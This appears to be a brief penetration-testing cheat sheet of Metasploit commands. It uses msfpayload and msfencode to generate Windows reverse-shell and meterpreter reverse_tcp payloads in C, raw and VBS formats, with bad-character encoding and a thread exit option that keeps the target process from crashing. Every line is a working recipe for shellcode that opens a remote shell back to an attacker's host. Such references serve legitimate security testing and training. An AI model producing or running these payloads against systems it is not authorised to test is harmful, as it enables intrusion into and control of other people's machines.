Payloads
MSF Payload Generation Example
msfpayload windows/shell_reverse_tcp LHOST ip LPORT 4443 C
msfpayload windows/shell_reverse_tcp LHOST ip LPORT 4443 R | msfencode -b '\x00\x0a\x0d'
Use exit fuction, "exit thread" when program is multi-threaded to avoid crashes after shell code execution is done:
msfpayload windows/shell_reverse_tcp EXITFUNC=thread LHOST ip LPORT 4443 R | msfencode -b '\x00\x0a\x0d'
VBS
msfpayload windows/meterpreter/reverse_tcp LHOST=<ip> R | msfencode
-e generic/none -t vbs